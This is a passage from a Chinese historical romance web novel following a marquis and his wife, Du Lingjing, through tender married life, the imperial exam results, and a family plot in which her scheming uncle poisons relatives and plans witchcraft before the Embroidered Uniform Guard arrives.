只这么亲吻在她唇上,反复吻着她的唇角,似乎她这双唇上真就抹了甜丝丝的蜜糖。 杜泠静更想笑了, 却见他低头不易,轻轻踮了脚尖,仰头迎了他三分。 只就这三分,他深吸了一口气。 杜泠静看到他眸光颤动起来,如同檐下灯光照拂的雨滴,光亮闪烁着。 “你不能这样……” 她不能哪样?他的一言一行,他眼下的反应,杜泠静完全猜不到了。 她试探地,用双唇轻轻啄了他的唇锋。 下一息,他一把握住了她的手。 “回房!” 这次杜泠静明白了他的意思,她脸上热热的,但已被他牵着大步往回而去。 …… 房中并未点香,但两人一路从花园带回来的春雨中的花草清香弥散。 窗外重新种了一丛芭蕉,残雨咕噜噜从房檐上落下来,打在芭蕉上,奏出一曲春夜喜雨。 杜泠静脸蛋发热地坐在床沿上,纱帐披在她肩头,坠在她脚下。 她自腋下解开了自己的衣襟,微微的凉气铺在她的锁骨上,但她不曾停下动作,还是将薄薄的中衣脱去了一旁。 惟余一只侯府针线嬷嬷亲手绣给她的小兜,软软挂在更柔软的胸前。 脸上更热了,她反手要去解开背上的系带。 察觉有人目光灼烫地落在她眼眸上,她抬眼浅浅迎上,他嗓音哑到如没大漠砂石之中。 “泉泉,我来。” 我来……他们圆房的那日,他便说了这一句。 杜泠静其实觉得今日不妥,他的伤才刚刚开始恢复。 可他却已不容她在推拒。 陆慎如低头看着妻子穿着,侯府针线嬷嬷给她绣的大红并蒂莲小兜,坐在他侯府正房的床边。 她就安静坐在那儿,轻纱披在她肩头,绕在她脚下,青丝从身后垂了两缕在胸前,她面含些微的羞红。她双耳软白,她双唇柔红。 仿佛从不曾有那些艰涩不快的经年过往,今次,是他名正言顺娶她过门的第一晚。 男人一时晃了心神,直到她唤了他一声。 “惟石?” “泉泉……” 陆慎如深深闭起了眼睛。 清泉石上,她独独与他一人相合! 他单手将她抱进了锦被里,他膝间跪压到了她身前。 平素都是这般,饶是陆侯今日右臂受伤,也不当什么。 可她却伸手勾住了他的脖颈。 谁人教给她的?年嘉郡主是不是? “泉泉你真不能这样……” “嗯?” 杜泠静也没怎么样啊? 抬头却看到了他暗暗发红了的双眼…… 她以为他手臂多有不便,今晚此事,少不得她主动些。 谁料他根本不给她主动的机会。 纱帐都被他扯了下来,他单手就将她卷起,抱到了另一边的榻上,小榻吱呀着几乎散开,他干脆又将她抱去了高案上。 杜泠静羞得满脸通红,湿热的汗将青丝粘在脖颈后背与胸前。 他替她撩开颈下缕缕青丝,指腹不经意的触碰。 水波荡漾,含羞起伏。 杜泠静通身发颤起来,可他毫无止歇之意,哑声轻笑,愈战愈勇。 她这才晓得之前的许多次,皆是他压着,不曾完全放开。 “不成……”她哑嗓中的言语细碎,更想起他臂上还有箭伤。 “不成,真不成!” 他将她抱去了浴房里。她以为他总算是听进了她的话,不想他哑声又道。 “再来一次,最后一次!” 他实在是停不下来与她从未有过的万般亲密。 浴房中水雾弥散。 最后一次,他选在了浴房的竹榻上。 与她亲密无间。 …… 伤口终究是渗出了血来,次日他要近身,杜泠静如何都不肯了,连手都不让他牵。 男人一脸的无奈。 春闱的金榜在殿试两日之后,张了出来。 先前杜济沧排在会试杏榜的第十二名,此番金榜他甚是平稳,排在了第十。 虽然不在一甲之列,但也是二甲的进士及第,青州杜氏是个多少年没有这样的高名了。 但高中一甲的人更为风光,高头大马,披红上街,整个京城都把目光紧在他们身上,尤其那最是年轻又俊美的蒋探花。 陆侯连几日都没上朝,在家养伤,外面状元榜眼探花游街,锣鼓喧天,他英眉都不动半分。 杜泠静自也不能出门去捧场,陪他在远岫阁里,替他整理了架上的书。 六郎会被点中探花,实在令人无法料想。 杜泠静莫名地感觉,蒋枫川突然被皇上点中探花,就如去岁她被皇上突然赐婚一样,惊人而不可测。 但不管如何,她还是让人给蒋家送了喜礼。 这次杜、蒋两家皆有子弟金榜题名,于整个青州来说都是大喜。 关于春闱的热闹,一连持续了好几日才稍显消停。 杜泠静却听闻了澄清坊传来的消息。 阮恭来跟她说,顾家传话,道是二夫人情形不太好,晨间昏死过去一次,大夫来了破费一番功夫才把人弄醒,接着便一直摇头,说人恐怕是好不了了。 “二姑娘听闻落了泪,无论如何都要回顾家照看二夫人。” 人拦不住了,不然不会递消息到侯府里。 杜泠静叹了一气。 这些日实在发生了太多事,但她把二妹关在澄清坊之后,料想二妹不会安分屈从,不想除了最初哭了几回之后,倒也安静了下来,没闹腾折腾,给杜泠静找事。 杜润青没闹腾找事,便也算是给杜泠静帮忙了。 眼下的情况,确实容不得杜泠静再留人。 她摆了手,“那就让她去吧。” 她能拦住一时,还能拦住一世? 每个人脚下都有无数条路,看似再没得选,其实也有的选,端看人的眼睛替脚步看向何处。 …… 澄清坊杜府。 杜润青听闻姐姐点了头,肯放她出去了,大松了口气。 她母亲不能再等了…… 只不过杜润青还没立时走,“她还说什么了?” 她料想自己在兖王别院跟大姐撕破了脸,大姐还关了她,算是对她最后的管束,她这次说什么都得走,大姐不会再管她,是不是说了什么,去了就不要再回杜家的话? 她问去,却见阮恭看了她一眼,道。 “夫人没说旁的,只是让二姑娘带几本书过去,闲来无事多读些书。” 杜润青恍惚了一下。 大姐没跟她说狠话,只是让她多读书? 读书…… 黄华坊顾府。 杜润青急着想去看母亲,却不敢违逆外祖母家的规矩,只能先去荣语堂给外祖母请安。 外祖母见她终于回来了,眯眼笑着,很是满意,这才让她赶紧去看了她母亲。 杜润青看过母亲折返回荣语堂,脚下打晃。 “外祖母,娘的病怎么越加厉害了?大夫怎么说?” 万老夫人就知道她得问,连道无妨,“只是你娘这癔症一时半会好不了,大夫也没好办法,先吃药看着吧。” 她没多言,拿话安抚了小姑娘几句,就让她先下去歇了。 但外孙女一走,万老夫人就皱眉叹了气。 大夫确实是说癔症好不了了,但也仔细把人看了又看,道是女儿有中毒的迹象。 万老夫人差点以为自己听岔了。这阖府满院都是自家的人,谁人会给她的女儿下毒?! 她思来想去,想不出自家人怎么会给自家人下毒,但到底还是让人把儿媳梁氏叫了过来。 这里哪有外人?除了儿媳。 梁氏进门,万老夫人就让她跪了下来。 万老夫人也不说是为何事,就是让她跪着。 梁氏被她训得战战兢兢,去也能看懂她几分心思。 她不得不开口给自己辩解,“娘,三姑奶奶的事,确实与儿媳无关!儿媳从不曾给姑奶奶下毒,若有虚言,让我横死街头!” 她发了毒誓。 梁氏自嫁进顾家,万老夫人就给她改了个“恭容”的名字,而她也不负她所望,每日晨昏定省从不含糊,孝顺婆母,伺候丈夫,教导孩子,还主动替丈夫纳了三房妾室,很是恭顺。 万老夫人对她也还算满意,这么多年低头顺意跟在她身边,看着也不像会下毒的人。 且杜致祁走的时候留了钱,三女儿延医问药,顾家所费不多,不至于因此下毒。 这会她见儿媳发了毒誓,眼泪流了满脸,这才让她起了身。 “不是你最好,但若是被我发现是你动的手脚,别怪我让大老爷将你休出门去!” 休妻……梁氏心口发颤。 她连道不是自己,见婆母乏了,这才退了下去。 人走到房外,被穿堂风一吹,神思发晃。 她自问嫁到顾家之后,已经竭尽全力照着婆母说的做了,可到头来出了事,婆母第一个怀疑的人却是她! 她忽然不明白自己这些年在顾家,生儿育女,操持家务,孝顺婆母,伺候丈夫,到底都得到了什么? …… 晚间万老夫人把杜润青叫了她的荣语堂来用饭,就当是给外孙女接风了。 不过却也提点她,“青儿得尽快嫁人了,你娘这病恐怕是……” 可杜润青经了换亲的事,又经了花宴的事,嫁人的心散的一干二净。 她刚跟外祖母摇了头,就见外祖母看了过来。 “这次不一样。你舅舅当真给你说了一门,门当户对的好亲事,再没比这更合适的了。” 门当户对的好亲事?外祖母这次没让她高嫁? 杜润青不敢出声,只听外祖母笑道。 “你舅舅给你说得,是那刚刚中了探花的蒋家六郎!” 此话一出,杜润青脑中一片空白。 蒋家六郎蒋枫川? 她倏然想起了那日在花宴,那个阴冷至极的眼神。 她手臂上的鸡皮疙瘩不由冒了出来,“为何是他?!” 万老夫人却道这正是巧合,说顾扬嗣遇见了蒋枫川,“你舅舅只稍稍一提,蒋探花就应了!” 一提就应了? 杜润青只觉更不安了,她心胆都跳了起来,脑中反复出现那阴冷的神情。 她不敢耽搁,当即就把那日遇见了蒋枫川的事,告诉了外祖母。 “……那蒋探花知道外孙女的丑事,怎么会真的愿意娶我?!”她拉住了万老夫人的袖子,“外祖母莫要将青儿嫁给她。” 她是真的害怕那人! 万老夫人先听那那日的情形,也愣了愣,可她却反手按住了外孙女的手。 她说不打紧,“他知道你的事还要娶你,想来真的看上了你。” “可他那时看我,眼神冷的很!” 万老夫人摇头,“彼时如此,不代表今时他也这样想。” 她说蒋枫川是蒋氏一族的弃子,“若是没有些胆略能耐,怎么能混得到如今探花的名头?” 上一次御笔亲点的探花,可是雍王表兄,邵氏出身的邵伯举。 “他出身不同寻常,自然平平无奇的闺秀也看不上,而杜家与蒋氏在青州在朝堂,皆守望相助,他娶你正是门当户对。” 杜润青不这么认为,但她还要再说什么,外祖母却抬了手。 她看了外孙女一眼,“你姐姐倒是与蒋家交好,她怎么不把门当户对的蒋六郎说给你这妹妹?还是你舅舅替你说了来,你莫要再推了,待我给你父亲写信告知,便则吉日定下婚事。” 话到后面,已不容辩驳。 杜润青离去时,还不住想起蒋六爷那眼神,待坐到了她母亲的病床前,止不住落了泪。 外祖母为何不听她的意思,只因舅舅做媒,就直接给她定了下来? 她不禁想到花宴上大姐问她的话。 外祖母讲给她的道理都是对的吗?外祖母又是真的为了她好吗? * “阿弥陀佛,阿弥陀佛……” 顾扬嗣只会这一句佛语,香炉前念了一二十遍,转身同旁边一个满身酒气的干瘦和尚道。 “钱我给了你一半了,此事办好,另一半自然奉上!” 那和尚拍了拍身上的酒气,道一定办好。 顾扬嗣又念了几遍佛语,细想了手上的事。 他那三姐是活不长了。只等外甥女和新探花定了婚,落定了两家的亲事,三姐就可以早早死了。 人死后,外甥女守孝三年,正是嫁人的年岁。 但人死却不止有这一重作用。 那江湖浪人就差一点就弄死了陆侯,实在是太可惜了。而他当真是行了大运,事情没查到他头上,都被杨氏女挡了。 那么他何不趁着这大运再做点什么? 这干瘪的酒和尚,颇同些巫蛊秘术,说是只要以刚过世的亲人血来引,就能令被诅咒之人阴鬼上身。用不了多久便重病卧榻,一朝横死,再无人察觉。 好巧不巧,他那三姐恰是陆侯夫人的亲婶娘。 人活着没有好事,还不如死了能有益处…… 顾扬嗣很快从酒和尚处离去,却没留意有人一直隔墙而停,待他走后就飞快回了京城,一路到了新科探花的门前。 来人把顾扬嗣的事说了。 蒋枫川挑眉,“巫蛊之术?” 堂堂京城地界,天子脚下,他顾扬嗣敢行巫术,真真是活腻了! 只是来人道,“但那顾大老爷,恐怕是朝着陆侯夫人去的。” 想害陆侯夫人一朝殒命! 话音落地,蒋枫川笑了起来。 顾扬嗣要在他眼前害她丧命? 他嗤笑出声。 “谁人先死,还说不定呢。” * 积庆坊,永定侯府。 杜泠静听闻了二婶恐怕命不久矣的消息。 她真是想不通,二婶在杜家捱了这么多年,反而回了娘家病情每况愈下到将死的地步。 万老夫人生了三女才得了一子,她对那独子顾大老爷万般宠爱,对病了的女儿就这般不上心? 但分了家,她或许还能因答应过叔父,去照看年幼的妹妹几分,但顾家、万老夫人和二夫人,却跟她干系不大了。 杜泠静摇摇头,见王太医又来给陆惟石换药。 先前那暗箭上有毒,纵然王太医解了毒,去还有残留,令他恢复得有些慢,偏偏又不“老实”静养。 果然王太医看了伤,又替他诊了脉,道了一句。 “侯爷果真骁勇善战,重伤也没下战线。” 这话听得杜泠静先是一愣,旋即明白过来,脸发烫地瞥了某人一眼。 陆慎如被她这一瞥,无奈地抿唇。 王太医颇懂烧水之道,哪壶不开,专门提哪壶。 他却不似娘子一样羞红了脸,反而想到了什么,叫了王太医。 “那劳烦太医给内子也切切脉。” 她会否已经有孕在身? 但这次王太医还没开口,杜泠静先开了口。 她料想自己之前都在吃避子药,怎么可能有孕? 她摇头道不必,“太医紧着侯爷吧。” 她不要切脉,陆慎如朝她望去,却听王太医又出了声。 “看来夫人对侯爷,实没什么信心。” 此言一出,杜泠静干呛了一口,见男人一双英眉都快挑到了天上,她极力捂了嘴才没笑出声。 他则看了王太医,更朝她看来,满眼的怨怪。 仿佛在说,她不肯让人家切脉,人家却以为是她觉得他不成。 这还怎么说得清? 但杜泠静把双手背过去,背着手就是不让太医问诊。 她还不想让太医瞧出她吃了许久避子药。 陆慎如一点办法都没有,见王太医忙完走了,起身将他背着手的娘子堵在多宝架下。 “娘子毁我英名……你怎么就知道没有孩儿来我们家中?” 先前吃了避子药,难不成他陆侯真比避子药厉害? 但这话杜泠静说出口,他今晚又要不遵医嘱了。 她只道,“侯爷想要孩子,也不必急成这样吧?” 可他却盯着她道是。 “我确实想尽快与泉泉有孩子。” 他低头细看着她秀挺鼻梁两侧那一双如水的眼眸。 陆慎如自嘲地笑自己。 眼下她与他无间亲密,他总觉不像是真。 她能把前面那人,慢慢放下吗? 他最怕一切只是水中幻沫,一戳就破。 第77章 “好些日没上朝了, 总不能真的等到伤势痊愈了再去。” 陆侯这日早早地起了,刚要起身穿衣,就见她娘子也坐了起来。 她还困着, 猫儿一样地双手揉着眼睛,问他怎么突然要去上朝。 陆慎如伤势已有所愈合是其中一个原因, 另一个原因则是西北军中, 最近着实有些不稳。 先是魏琮受伤回京,接着西北出了一阵时疫,虽没大肆传播开来,但也造成对军中不小的影响。接着便是杨金瑜被锦衣卫请去的事情, 还没定论,卫国公府就急着要撇清关系, 要休了这世子夫人。 消息传到了远在西北的荣昌伯处,伯爷先经了年前两个儿子杀人灭口的事,此番再听闻女儿也害人,要被婆家休弃, 气得昏了过去, 竟彻底病倒了。 魏琮和荣昌伯原是稳在西北军中的两位主将大员, 眼下两人皆失,加之他又受了伤, 到处都是传言,军中确实有些不稳。 他哪里还能一味窝在家中养伤? 他要去上朝, 杜泠静连忙起身帮他穿衣,但他并不要她帮忙, 她才刚拿上衣裳,他就止了她,自己穿在了身上。 从受伤到今日, 他都不让她伺候半分。 杜泠静打开窗子看到外面阴沉沉的,道。 “今日似要下雨。” 他是武将,自来骑马上朝,遇到雨雪天气便披了斗篷,也不太会坐马车,不过此番受了伤,杜泠静道。 “若是下雨,就别骑马了,我坐马车去宫门外接你。” 她要去接他下朝。 陆慎如束腰的手顿了顿,她终于找到了机会,立时上前帮他收束了腰带。 她颇为生疏,但几眼就看明白了那朝服上的腰带构造,很快就替他收束合宜。 不是合宜,是极好。 陆慎如不禁低头向妻子看去。 她长眉柔和地垂在鬓角,眸中去了方才刚睡醒的怔忪,这会仰头向他看来。 “我让崇平驾车,我们去宫门外接你。” 她又说了一遍,陆慎如真是不敢想,他不由地笑起来,笑她那柔润的嘴巴,怎么能说出如此悦耳的话。 他牵了她的手,收拢在自己的手心里。 崇平侯在门外,竟也犹豫着出了声。 “侯爷不若真就坐车去上朝吧,更是平稳。” 两人都让他坐车,陆慎如笑出了声, “我一个武将去上朝,就不是小娃娃去进学,坐什么马车?” 他说着,捏了她的手。 “我瞧着就算下雨,也未必就在我下朝那一时,若真就那时下雨……” 他跟她笑着点头,“那就劳烦娘子吧。” 话虽然这么说,他心里却不以为就这么巧。 谁想待下朝从宫里往外走,天阴恻恻的,还真就淅淅沥沥下起小雨来。 文臣们都爱坐车坐轿,虽无武将骑马的威风,但在这种雨雪之时,就占尽了好处。 这会行至宫门口,小雨细密,急了些许。 陆慎如没当回事,不想窦阁老恰从旁经过,见他还得冒雨骑马回去,哼笑道。 “侯爷再是威风,受了伤也该好好坐马车,不然淋了雨回去再着凉病了,西北军中更要乱了。要不侯爷坐老朽的车?” 陆慎如要是真坐这糟老头子的车,避雨回府,军中更要谣言满天飞,西北更不稳了。 陆慎如对这糟老头子再没好脸色,见他捋须而笑,低哼一声,转了身去。 谁想就在这时,有一道声音从背后传来。 “夫君!” 那嗓音清泠更甚此刻淅淅沥沥的雨。 陆慎如微怔,转身看去。 他只见她就站在他身后不远处。 高阔的大红宫墙之下,她立在马车前面,雨漱漱落在她挑在头上的油纸伞上,她穿着一身水绿色的衣裙,遮不住的细雨斜斜绕在她裙角边。 她挑伞来接他,就等在宫墙下。 陆慎如的目光定在她身上,一寸都挪不开。 竟有一日,她会在宫门外等他下朝回家…… 这真不是幻梦? 确实不是幻梦,因为有人也看了过来,陆慎如眼角扫过,看见窦阁老颇有些惊讶。 他忽的想起先前他与娘子不快的时候,这糟老头子在旁看戏最是开心,还说有些事强求不来,又让他不如早点放手…… 此时此刻,陆侯扬起下巴朝窦阁老看去。 “谁说陆某要骑马?阁老独坐空车,陆某可不一样。” 他是有人来接的。 陆慎如说完,大步向他娘子走去,快步行至伞下,她亦向她迎来,他接过了她手里的伞,高高挑在两人之间。 这神态这步调,再没之前的郁郁。窦阁老也是没想到,陆慎如的小娘子竟会来接了他,可真是得意了这位侯爷。 窦阁老却比某人沉得住气的多,见状也只是淡淡笑了笑,目光从杜泠静身上扫过。 姑娘这脾性,看来得了些传承。 韧的时候韧,柔的时候也柔。 …… 杜泠静突然被解禁了,菖蒲第一时间飞奔出去,打听了各处茶馆酒楼的趣事,问夫人要去哪处玩。 杜泠静去哪处都可以,出京去归林楼也可以,但某人让她出门必须带上侍卫,足足十六个侍卫。 杜泠静:“……” 那她还不如别出门,排场比得上皇上微服出宫了。 可刚经了暗箭的事,十六个侍卫并不多,杜泠静不想再成为他的软肋。 她一时还没想好往哪处去消遣。 但蒋枫川却见有人偷偷在永定侯府墙外扔了东西,又偷偷踩进草里。 他坐在附近的茶楼里,与人吃茶。 下人低声在他耳边。 “是酒和尚交代顾大老爷的巫术。” 先把巫术之物偷偷定在永定侯府的四周,之后再用亲人血引,将阴鬼引到陆侯夫人的身上。 这才几日的工夫,顾扬嗣的巫术用具准备的差不多了,都要开始实施了。 蒋枫川闻言冷笑连连,转头吩咐了下人。 “就照着他们的术法,把东西移个位。” “六爷要移去何处?” 蒋枫川笑起来,“自是移去顾家自己家。” 若不让毒蛇去咬自己,则将毫无趣味。 下人去了不到半盏茶的工夫,突然去而复返,说那顾扬嗣委托的酒和尚要来施法,一时不便移动,得晚些时候。 “……不过六爷,那酒和尚说这巫术必须要委托之人,以血来启。小人瞧着顾大老爷并没来,只来了个十三四岁的少年郎,瞧着不是顾家少爷,却与顾大老爷十分相像,似是要用他的血来启。” 这等巫术用血之事,蒋枫川也听道士师父说过些,就算是代替,也要相连的血脉才行。 一个十三四岁的少年人,不是顾家的少爷,却与顾扬嗣长得很像? 蒋枫川哼哼一笑。 “这可就有意思了,去打听打听此人是谁。” 下人领命又去了,一旁与他一同吃茶的人问来。 “六郎笑些什么?” 蒋枫川说没什么,“只是能在京城见到奉兄,甚是愉悦,若哥哥看到你我相遇,必也开怀。” 祝奉,山东济南人,与蒋竹修是经年的旧友,两人甚至一同中举,只可惜蒋竹修病重不能进京赶考,但祝奉却在次年进士及第。 蒋谦筠生前,与他每月都有书信往来,多问些京中朝中的事。他虽还未功名路走完,但却十分着意朝中事,朝廷下发的邸抄从无遗漏,他便是躺在病床上,也要挑灯细看。更时常与京中友人通信,询问朝事。 祝奉便是他在京城主要的消息来源。 只不过祝奉母亲病逝,他回乡守孝,才刚刚回京复职。 蒋枫川无意同祝奉提及顾家的烂事,只说起他三哥从前,为何比在任官员还上心朝中事,倒也稀奇。 * 黄华坊顾家。 二夫人又惊厥了一会。 杜润青被母亲惊得晚饭都没吃好。 不知是怎么,自从母亲搬到了舅家来,就起疑容易惊厥,好像极为不安。 她只能全天地都陪在她母亲身边。 “娘,您可一定要好好的!” 哪怕病着疯着,她还算是有娘的孩子,六神无主的时候看到娘,还能稳下一丝心神。 但她母亲始终,没好,大夫来了也只有摇头。 外祖母则让她把盖头又绣起来。 那盖头她就要绣三次了。 第一次,外祖母告诉她,就要嫁给侯爷的时候,她难掩兴奋地绣到夜深; 第二次,外祖母要与保国夫人联姻,让她嫁给指挥使,她脑袋发懵,绣得木木麻麻; 这第三次,舅舅给她说了蒋家的六爷,她不想嫁,但外祖母却只说她没得选,她再看着着张绣了又断、断了又绣的盖头,不知道自己要怎么再绣下去。 她没绣。 但隔日舅舅突然来了她与母亲的院中。 “青娘速速把你的盖头、嫁衣都准备起来吧,方才蒋探花传信给我,说蒋家应了这门亲事,让我们来定个定亲的黄道吉日。” 顾扬嗣急着用他三姐的血,献到巫术之中,只等把亲事定了,就都妥了。 他同外甥女道,“舅舅给你定了十日之后的黄道吉日,你速速准备吧。” 杜润青倒抽了一口冷气。 “可是舅舅,娘病着,爹也还没回信,青儿怎么能草草定婚?!” 一旦定婚,除非两家出了大事,不然她就只能嫁给那蒋家的六爷。 但那蒋家六爷……杜润青想到他就害怕。 她一直摇头,顾扬嗣不耐烦。 “什么叫草草定亲?你爹爹走前,就将你的亲事交给了你外祖母。这事你外祖母也是同意的,怎么你还不同意?” 杜润青心下发颤,但觉得自己再退缩下去,真就要被舅舅嫁出去了。 她不禁道,“外甥女不同意!我不想嫁给那蒋家六爷,还请舅舅成全!” 顾扬嗣再没想过外甥女,竟有自己的主意了。 他嗓音陡冷,“你这是大逆不道!” 忽的一个大逆不道的帽子砸在头上。 外祖母交代她作为女人,一定要恭顺再恭顺,在男人面前,在长辈面前,恭顺不会出错。 杜润青脸色一白。 房内昏暗着,浓郁的药气从重病的母亲身上散出来,母亲昏迷着,只有舅舅此刻立在门前,影子从头到脚地笼罩着她。 杜润青不禁向后踉跄了一步,不想手下碰到了花瓶,倏然将花瓶打落在了地上。 静默无声的房中,花瓶砰然跌落碎裂开来,瓷碎声扎着人的耳朵。 杜润青心颤,而顾扬嗣越发不耐,两眼瞪向外甥女,全是冷光。 小姑娘身形抖了一抖。 就在这时,房中忽然有人尖声问了一声。 “你做什么?!” 话是急急问想舅舅顾扬嗣,但杜润青转头看去,却见病床上,母亲扶着床边坐了起来,此刻更转头向她看来。 “青儿过来!” 她身形消瘦如枯骨,满身浸透了药味,是活不成的迹象了。 但这一刻,她竟然眼中再无浑浊,更是抬手向女儿招手。 “青儿,到娘这里来!” 杜润青又惊又喜,“娘,娘你醒了?!” 她一下扑到了母亲的病床前。 “醒了,我的青儿,娘醒了……”她颤手抚摸着女儿的头发。 多久了,母亲多久没再抚摸过她的头发了。 杜润青眼泪再也止不住,死死趴在母亲身上不住哭泣。 二夫人也红了眼睛落了泪。 但顾扬嗣却看了母女二人几息,然后低声开了口。 “三姐,真醒了?” 二夫人抬头朝他看去。 她只见他眼神阴厉起来,他抬脚一步一步往床边走,每走一步,盯着她的面色便扭曲了三分。 二夫人突然意识到什么,转头大声就要朝外喊去。 “来人!来人……” 然而声音还没喊出去,她那兄弟突然一步上前,拉起旁边的衣裳,死死捂在了她的头脸。 “舅舅?娘!”杜润青完全搞不清状况了,大惊失色地要惊叫起来。 谁想她的舅舅却抬起那瘸腿,一脚向她踹来。 杜润青到底年少,反应极快,忽得向一旁闪去,顾扬嗣没能踹到,又要顾着摁死挣扎不休的三姐,再顾不得她。 杜润青尖叫着向外喊去,“来人!来人!” 她本想跑出去喊外祖母,但她母亲被舅舅死死捂着,已快不成了,根本等不到她去叫来人。 “娘……” 她再顾不得外祖母教导的什么男子便是女子的天,恭顺地侍奉好周遭的男子,女子的地位就稳当了诸如此类的屁话。 她倏然拿起剪子,一剪子就扎在了她舅舅的手臂上! 顾扬嗣再没想到外甥女敢抄起剪子扎自己,此刻手臂剧痛,瞬间血肉横飞。 他再无力控着二夫人,低吼着攥紧手臂。 又见杜润青抢过了她母亲,而她母亲还没捂死,呼哧地喘着气。 顾扬嗣怒从心头起,恶向胆边生,拔出手臂上的剪子,就要朝那母女二人扎去。 谁想有人推门而入。 “你做什么?!” 正是万老夫人。 顾扬嗣见她突然到来,眸色瞬间变了三遍。 “母亲!三姐被鬼上了身,支使着青娘拿剪子扎我!她们母女身上皆附了阴鬼,断不能再留!” 杜润青只觉被鬼上身的人,是舅舅才对吧! 她知道舅舅不怎么疼爱她,但再也没想到有一日,舅舅要害她与母亲! 她疾呼,“外祖母,不是这样的!是舅舅要捂死母亲,我才扎了他,他却要直接将我们母女都害死!是舅舅恶鬼上身了!” 双方都道对方恶鬼上身。 一边是自己唯一的儿子,另一边则是重病的女儿和外孙女。 万老夫人被血腥冲得错乱了一瞬。 但她却突然想到了大夫曾说,有人偷偷给女儿下毒…… 她立时叫了儿媳,“取了剪子,去把他拉住!” 梁氏也再没见过此等场面,惊着上前,刚要叫一声自己的丈夫,要上前来取走丈夫手里的剪子。 顾扬嗣忽的一抬手,啪地抽在了她脸上。 “贱人,走开!” 梁氏被他打得眼前一花,眼泪啪嗒落了下来。 但不管是丈夫还是婆婆,没人在意她。 万老夫人却隐隐有些看明白了,只是她万分不解,她问想顾扬嗣。 “你到底想要做什么?” 她说他的三姐也活不了几日了,“让她好生活完这一年半载,走了就是了,也花不了咱们的钱,为什么要给她下毒,还要……” 还要捂死她。 她说不出口,难以理解地看向儿子。 但有人却在喘过气来后,径直道出了答案。 “娘!他不会告诉你的,因为他想让我死!因为把我的马车撞下山崖的,根本就是他!” 二夫人是意外马车坠崖,才伤了头脑得了疯病。同行的丫鬟仆从都死了,她是侥幸才逃得一命。 此话出口,房中一瞬间静到落针可闻。 万老夫人目瞪口呆,杜润青则握紧了自己母亲的手,又被母亲瘦如枯柴的手,反手握紧。 弟弟要杀自己的亲姐?这是为什么? 二夫人缓缓抬头看向眼前的兄弟,眼中尽是恨意。 “那年我出门去上香,本还为你祈福,谁想到竟遇见你接人上京城安顿。” 她说顾扬嗣接的不是别人。 “你接去的,正就是你的亲生爹娘,还有你亲生爹娘给你娶得妻,已经你与那女子生的儿子!” 所以顾扬嗣要杀人,把不该知道此事的二夫人直接灭了口。 可这说法,直说得杜润青脑中一空。 舅舅不是她亲舅舅吗? 而被打得脸上指印通红的梁氏一愣了。 “亲生爹娘?老爷不是母亲亲生的吗?” 为何会有亲生爹娘,还在外另行娶妻生子? 她目光不禁暗含质问地看向万老夫人。 万老夫人倒没有她二人的惊奇,只是身形晃了一晃。 顾扬嗣确实不是她亲生的儿子。 她何曾生过儿子? 她的肚子“不争气”,一连生了三个女儿,第四个,大夫诊脉又是女儿。 婆家人看都不想再看她了。 如果真是女儿,以她的年岁,也再无可能有儿子傍身了。没有儿子就立不住脚跟,她还有什么出头之日? 彼时她在田庄养胎,无人探问她一句。 她思来想去,忽的下了决心。 分娩那夜,她果真生下第四个女儿,她甫一把女儿生下,就远远地送走了去。 然后将从附近一个姓杨的穷人家,把他们家刚生下来的儿子,重金买了过来。 她有儿子了,不是女儿了。 她又给了钱,把那家人远远地打发走,从今往后,这就是她亲生的儿子,她唯一的儿子。 她能在婆家、在任何人面前,把头抬起来了! 女人就是再厉害,在这个世间还不得靠男人?不管是父亲,丈夫,还是儿子、孙子!必得是男人!先把男人侍奉好,日子自然就好过了。 这些年,她就是这么过来的。 怎么突然,那么多年前的事,又重新冒出来了? 她恍惚看向顾扬嗣。 “你是何时找到了他们?” 顾扬嗣不言,但管事来传话,说有人突然绑了个人,扔到了顾家门前,是个十三四岁的男孩。 门房原本不欲理会,但看那男孩的脸,简直与自家大老爷一模一样。 万老夫人抖声开口,“把人带来。” 男孩被五花大绑扔到了院中,但他一抬头,连万老夫人都惊了。 顾扬嗣没再辩驳。 万老夫人身子来回发晃。 “难怪、难怪你总是想要钱,总是见钱就迷,还打量起来外甥女的嫁妆。” 这才被陆侯捉了错处,带去锦衣卫险些打死。 “我以为你只是贪财,原来是需要钱,在外面养一大家子人。还怕被我知道,又害你三姐,想灭她的口……” 万老夫人颤声,但顾扬嗣突然不在乎了。 “谁是我三姐?你也不是我母亲!” 他一眼瞪向万老夫人,“说开了也好,这顾家偌大的门庭还不得我这个男人撑着?” 万老夫人失了京门月老的名头,在京里再也说不上话。 顾扬嗣没了顾及,再看不上这养母。 “正好把我杨家人都接进来,就当是远房有恩的亲戚,好生在府里养着!” 他不用躲躲藏藏,“让我亲生爹娘也享享荣华富贵。” 他说着又看向万老夫人,“麻烦母亲再使些力气,给我杨家的儿子也说一门好亲。” 他还敢让万老夫人给他儿子说亲。 万老夫人倏然血气上涌。 但她身边没有人了,两个大女儿都被她远嫁,四女儿被送走,三女儿看着也是回光返照了。 她这一辈子侍奉男人,就得了这个结果? 一口鲜血,突然从万老夫人口中吐出。 血色飞溅,她砰然倒地。 众人皆惊,但顾扬嗣却令所有人都不许乱来。 他是这府里最大的主子,早该如此。 他一眼看住了杜润青。 “那蒋家六郎,你嫁也得嫁,不嫁也得嫁!由不得你!” “不要!我不要!” 杜润青惊呼,顾扬嗣却叫人将她拉下去,“关起来。” 二夫人急急去扯女儿,但又被顾扬嗣叫人摁住。 “从今往后,这府里独我一人做主!” 他大步往外走去,哪怕瘸着腿。 从未有那一刻,比这一刻更畅快了。 他果然是行了大运! 但杜润青惊哭。 “不要,不要!” 娘被摁住了!爹呢?弟弟呢?为何他们都不在京城。 京城里唯独还有她那大姐姐。 可她却对姐姐出言不逊,撕破脸了…… 杜润青被人拉着惊恐不已。就在这个时候,外面突然乱了脚步声。 “大老爷,有人闯门!” “什么人?!” 顾扬嗣瘸着腿要过去,却见有人带着人手阔步上前。 他抬头向中间那男人看去。 “魏指挥使?” 锦衣卫指挥使魏玦。 而他身边的锦衣卫手里,却抓了一个熟悉的人——那射出暗箭伤了陆侯的江湖浪子。 “我不认识他!我可不认识!”顾扬嗣急促撇清。 魏玦见他慌张至此,笑了笑。 “是么?魏某弄错了?” 说话之时,后面又有人来。 “指挥使大人,有人送了一个满身酒气的和尚,和一箱子东西进来。” “什么人送的?” “蒋探花。” “哦,提上来看看。” 酒和尚甫一被提上前,就朝着顾扬嗣叫了过去。 “阿弥陀佛,都是顾大老爷指使贫僧做的事啊!” 顾扬嗣瘸腿抖了起来,魏玦则翻看了一旁的箱子随同而来的东西。 他一眼看去,冷哼出声。 